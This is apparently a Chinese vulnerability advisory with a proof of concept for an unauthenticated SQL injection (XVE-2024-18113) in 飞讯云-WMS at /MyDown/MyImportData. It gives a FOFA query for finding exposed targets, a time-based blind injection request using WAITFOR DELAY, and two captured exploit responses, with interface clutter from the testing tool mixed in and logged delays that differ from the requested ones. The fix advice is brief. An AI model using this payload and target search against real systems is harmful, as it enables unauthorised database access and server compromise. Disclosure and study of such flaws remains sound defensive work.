

飞讯云-WMS MyDownMyImportData 前台SQL注入漏洞(XVE-2024-18113)

漏洞描述

飞讯云-WMS /MyDown/MyImportData 接口处存在前台SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响范围

飞讯云-WMS

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA：body="wx8ccb75857bd3e985"

POC/EXP：

GET /MyDown/MyImportData?opeid=1%27+WAITFOR+DELAY+'0:0:6'-- HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/70.0.3538.77 Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

发送请求

强制 HTTPS

历史

美化

Q

详情

</> 生成 Yaml

Request

数据包扫描

热加载

构造请求

1

GET /MyDown/MyImportData?opeid=1%27+WAITFOR+DELAY+'0:0:6'-- HTTP/1.1

2

Host: [REDACTED]

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

4

Accept-Encoding: gzip, deflate

5

Accept-Language: zh-CN,zh;q=0.9

6

Connection: close

Responses

881bytes / 6100ms

1

HTTP/1.1 200

2

Set-Cookie: JSESSIONID=ac97148d-ab1d-4bba-9a55-2e020b1beacc; Path=/; HttpOnly

3

Content-Type: text/plain; charset=utf-8

4

Date: Thu, 25 Jul 2024 12:19:57 GMT

5

Connection: close

6

Content-Length: 881

7

8

9

Error querying database. . . Cause: com.microsoft.sqlserver.jdbc.SQLServerException: 过程或函数 'oa_pr_userLmt' 需要参数 '@userno', 但未提供该参数。

10

The error may exist in class path resource [mapper/common/common.xml]

11

The error may involve com.feixun.dao.NewCommonDao.procedureSql-Inline

12

The error occurred while setting parameters

13

SQL: exec oa_pr_userLmt '1' WAITFOR DELAY '0:0:3'--, '', 'can5'

14

Cause: com.microsoft.sqlserver.jdbc.SQLServerException: 过程或函数 'oa_pr_userLmt' 需要参数 '@userno', 但未提供该参数。

15

; uncategorized: SQLException: SQL state [S0004]; error code [201]; 过程或函数 'oa_pr_userLmt' 需要参数 '@userno', 但未提供该参数。; nested exception is com.microsoft.sqlserver.jdbc.SQLServerException: 过程或函数 'oa_pr_userLmt' 需要参数 '@userno', 但未提供该参数。

发送请求

强制 HTTPS

历史

美化

Q

详情

</> 生成 Yaml

Request

数据包扫描

热加载

构造请求

1

GET /MyDown/MyImportData?opeid=1%27+WAITFOR+DELAY+'0:0:8'-- HTTP/1.1

2

Host: [REDACTED]

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

4

Accept-Encoding: gzip, deflate

5

Accept-Language: zh-CN,zh;q=0.9

6

Connection: close

Responses

881bytes / 8221ms

1

HTTP/1.1 200

2

Set-Cookie: JSESSIONID=344e4928-957e-460a-9796-5397fd1ee476; Path=/; HttpOnly

3

Content-Type: text/plain; charset=utf-8

4

Date: Thu, 25 Jul 2024 12:26:53 GMT

5

Connection: close

6

Content-Length: 881

7

8

9

Error querying database. . . Cause: com.microsoft.sqlserver.jdbc.SQLServerException: 过程或函数 'oa_pr_userLmt' 需要参数 '@userno', 但未提供该参数。

10

The error may exist in class path resource [mapper/common/common.xml]

11

The error may involve com.feixun.dao.NewCommonDao.procedureSql-Inline

12

The error occurred while setting parameters

13

SQL: exec oa_pr_userLmt '1' WAITFOR DELAY '0:0:4'--, '', 'can5'

14

Cause: com.microsoft.sqlserver.jdbc.SQLServerException: 过程或函数 'oa_pr_userLmt' 需要参数 '@userno', 但未提供该参数。

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本